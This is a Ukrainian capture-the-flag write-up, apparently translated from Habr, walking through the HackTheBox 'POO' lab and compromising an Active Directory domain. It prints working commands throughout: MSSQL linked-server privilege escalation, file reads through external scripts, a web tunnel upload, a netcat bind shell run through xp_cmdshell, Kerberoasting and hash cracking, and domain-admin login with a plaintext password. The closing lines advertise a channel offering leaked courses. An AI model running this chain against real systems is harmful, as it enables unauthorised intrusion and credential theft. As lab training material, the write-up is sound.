HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

У цій статті розберемо проходження не просто машини, а цілої міні-лабораторії з майданчика HackTheBox.

Як сказано в описі, POO призначений для перевірки навичок на всіх стадіях атак у невеликому середовищі Active Directory. Мета полягає в тому, щоб скомпрометувати доступний хост, підвищити привілеї і зрештою скомпрометувати весь домен, зібравши при цьому 5 прапорів.

Підключення до лабораторії здійснюється через VPN. Рекомендується не підключатися з робочого комп'ютера або з хоста, де є важливі для вас дані, тому що Ви потрапляєте в приватну мережу з людьми, які щось вміють в області ІБ 🙂

Організаційна інформація
Щоб ви могли дізнаватися про нові статті, програмне забезпечення та іншу інформацію, я створив канал у Telegram и групу для обговорення будь-яких питань в області ІКБ. Також ваші особисті прохання, питання, пропозиції та рекомендації розгляну особисто та відповім усім.

Вся інформація представлена ​​виключно з освітньою метою. Автор цього документа не несе жодної відповідальності за будь-які збитки, заподіяні будь-кому в результаті використання знань і методів, отриманих в результаті вивчення цього документа.

Введення

Цей endgame складається з двох машин і містить 5 прапорів.

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

Так само дається опис та адреса доступного хоста.

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

Почнемо!

Recon flag

Ця машина має IP адресу 10.13.38.11, яку я додаю в /etc/hosts.
10.13.38.11 poo.htb

Насамперед скануємо відкриті порти. Оскільки сканувати всі порти nmap'ом довго, то спочатку зроблю це з допомогою masscan. Ми скануємо всі TCP та UDP порти з інтерфейсу tun0 зі швидкістю 500 пакетів на секунду.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

Тепер для отримання більш детальної інформації про послуги, що працюють на портах, запустимо сканування з опцією -А.

nmap -A poo.htb -p80,1433

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

Таким чином, ми маємо служби IIS та MSSQL. При цьому ми дізнаємося про реальне DNS ім'я домену та комп'ютера. На веб-сервері нас зустрічає домашня сторінка IIS.

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

Давайте переберемо директорії. Я для цього використовую gobuster. У параметрах вказуємо кількість потоків 128 (-t), URL (-u), словник (-w) та розширення, які нас цікавлять (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

Таким чином, ми маємо HTTP автентифікацію для директорії /admin, а також доступний файл сховища служби робочого столу .DS_Store. .DS_Store — це файли, в яких зберігаються налаштування для папки, такі як список файлів, розташування піктограм, вибране фонове зображення. Такий файл може потрапляти в каталог веб-сервера у веб-розробників. Таким чином, ми отримати інформацію про вміст каталогу. Для цього можна використати DS_Store crawler.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

Ми отримуємо вміст каталогу. Найцікавіше тут - це каталог /dev, з якого ми в двох гілках можемо подивитися вихідні файли db. Але ми можемо перші 6 символів імені файлів та директорій, якщо сервіс уразливий до IIS ShortName. Перевірити наявність цієї вразливості можна за допомогою IIS shortname Scanner.

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

І ходимо один текстовий файл, який починається з «poo_co». Не знаючи, що робити далі, я просто вибрав зі словника директорій усі слова, що починаються на «co».

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

І переберемо за допомогою wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

І знаходимо відповідне слово! Дивимося цей файл, зберігаємо облікові дані (судячи з параметру DBNAME, вони від MSSQL).

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

Здаємо прапор, і ми просуваємось на 20%.

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

Huh flag

Підключаємось до MSSQL, я використовую DBeaver.

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

Нічого цікавого в цій базі не знаходимо, давайте створимо редактор SQL і перевіримо, які є користувачі.

SELECT name FROM master..syslogins;

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

У нас два користувачі. Давайте перевіримо свої привілеї.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

Таким чином, привілеїв немає. Давайте подивимося пов'язані сервери, про цю методику я докладно писав тут.

SELECT * FROM master..sysservers;

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

Так ми бачимо ще один SQL Server. Перевіримо виконання команд на цьому сервері за допомогою openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

І ми можемо навіть вибудовувати дерево запитів.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Справа в тому, що коли ми виконуємо запит на зв'язаний сервер, запит виконується в контексті іншого користувача! Давайте подивимося, в контексті якого ми працюємо на зв'язаному сервері.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

А тепер подивимося у якому контексті виконуються запит із зв'язаного сервера на наш!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

Таким чином, це контекст DBO, який повинен мати всі привілеї. Давайте перевіримо привілеї у разі запиту із зв'язаного сервера.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

Як можна побачити, у нас є всі привілеї! Давайте так створимо свого адміна. Але через Openquery не пускають, давайте зробимо це через EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

І тепер підключаємось з обліковими даними нового користувача, спостерігаємо нову базу даних flag.

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

Здаємо цей прапор і йдемо далі.

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

BackTrack flag

Отримаємо шелл за допомогою MSSQL, я використовую mssqlclient з impacket пакет.

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

Нам потрібно роздобути паролі, і перше, що ми вже зустрічали, це сайт. Таким чином нам потрібен конфіг веб-сервера (кинути зручний шелл не виходить, мабуть працює firewall).

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

Але доступ заборонено. Хоча ми можемо прочитати файл із MSSQL, потрібно лише знати які мови програмування налаштовані. І в директорії MSSQL дізнаємось, що є Python.

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

Тоді прочитати файл web.config немає жодних проблем.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

Зі знайденими обліковими даними зайдемо на /admin і забираємо прапор.

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

Foothold flag

Насправді від використання брандмауера є деякі незручності, але переглядаючи налаштування мережі, помічаємо, що також використовується прокол IPv6!

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

Додамо цю адресу в /etc/hosts.
dead:babe::1001 poo6.htb
Давайте знову проскануємо хост, але вже за протоколом IPv6.

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

І IPv6 доступна служба WinRM. Підключимося зі знайденими обліковими даними.

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

На робочому столі є прапор, здаємо його.

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

P00ned flag

Провівши розвідку на хості за допомогою winpeas нічого особливого не бачимо. Тоді було ухвалено рішення знову шукати облікові дані (на цю тему я теж писав статтю). Але отримати всі SPN із системи через WinRM у мене не вийшло.

setspn.exe -T intranet.poo -Q */*

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

Давайте виконаємо команду через MSSQL.

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

Вказаним способом ми отримуємо SPN користувачів p00_hr і p00_adm, а це означає, що вони вразливі до такої атаки, як Kerberoasting. Якщо коротко, то ми можемо отримати хеші їхніх паролів.

Спочатку потрібно отримати стабільний шелл від імені користувача MSSQL. Але так як нас обмежують у доступі, ми маємо зв'язок з хостом тільки через 80 і 1433 порт. Але є можливість тунелювання трафіку через 80 портів! Для цього скористаємося наступним додатком. Завантажимо файл tunnel.aspx в домашню директорію веб-сервера - C:inetpubwwwroot.

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

Але при спробі звернутися до нього отримуємо помилку 404. Це означає, що файли *.aspx не виконуються. Щоб файли з цим розширенням стали виконуватися, встановимо ASP.NET 4.5 в такий спосіб.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

І тепер при зверненні до tunnel.aspx отримуємо відповідь, що все готове до роботи.

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

Давайте запустимо клієнтську частину програми, яка займатиметься ретранслюванням трафіку. Ми будемо перенаправляти весь трафік з 5432 портів на сервер.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

І використовуємо proxychains, щоб надсилати трафік будь-якої програми через наш проксі. Додамо цей проксі файл конфігурації /etc/proxychains.conf.

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

Тепер завантажимо на сервер програму netcat, за допомогою якої зробимо стабільний bind шелл, та скрипт Invoke-Kerberoast, за допомогою якого виконаємо атаку Kerberoasting.

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

Тепер через MSSQL запускаємо листонер.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

І підключаємось через наш проксі.

proxychains rlwrap nc poo.htb 4321

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

І давайте отримаємо хеші.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

Далі треба перебрати ці хеші. Так як в українській словнику даних паролів не було, то я використовував ВСІ словники passwords, надані в Seclists. Для перебору використовуємо hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

І знаходимо обидва паролі, перший у словнику dutch_passwordlist.txt, а другий у Keyboard-Combinations.txt.

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

І так у нас є три користувача, йдемо на контролер домену. Спочатку дізнаємось його адресу.

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

Відмінно, ми дізналися IP адресу контролера домену. Давайте дізнаємось всіх користувачів домену, а також хто з них є адміністратором. Щоб завантажити скрипт для отримання інформації PowerView.ps1. Потім підключимося за допомогою evil-winrm, вказавши в параметрі -s директорію зі скриптом. А потім просто завантажимо скрипт PowerView.

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

Тепер нам доступні всі функції. Користувач p00_adm схожий на привілейованого, тому працюватимемо у його контексті. Створимо об'єкт PSCredential для цього користувача.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Тепер усі команди Powershell, де ми вкажемо Creds, будуть виконані від імені p00_adm. Давайте виведемо список користувачів та атрибут AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

Отже, наш користувач реально є привілейованим. Давайте глянемо, у яких групах він.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

Остаточно стверджуємось, що користувач є адміністратором домену. Це дає право віддаленого входу на контролер домену. Спробуємо увійти через WinRM, використовуючи наш тунель. Мене збентежили помилки, що видаються reGeorg'ом під час використання evil-winrm.

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

Тоді скористаємось іншим, легшим, скриптом для підключення до WinRM. Відкриємо та поміняємо параметри для підключення.

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

Пробуємо підключитись, і ми в системі.

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

Але прапора нема. Тоді подивися користувачеві та перевіримо робочі столи.

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

У mr3ks знаходимо прапор та лабораторію пройдено на 100%.

HackTheBox endgame. Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

От і все. Як зворотний зв'язок, прокоментуйте — чи ви дізналися щось нове з цієї статті і чи була вона вам корисною.

Ви можете приєднатися до нас у Telegram. Там можна буде знайти цікаві матеріали, злиті курси та ПЗ. Давайте зберемо співтовариство, в якому будуть люди, які знаються на багатьох сферах ІТ, тоді ми завжди зможемо допомогти один одному з будь-яких питань ІТ та ІБ.

Джерело: habr.com

Додати коментар або відгук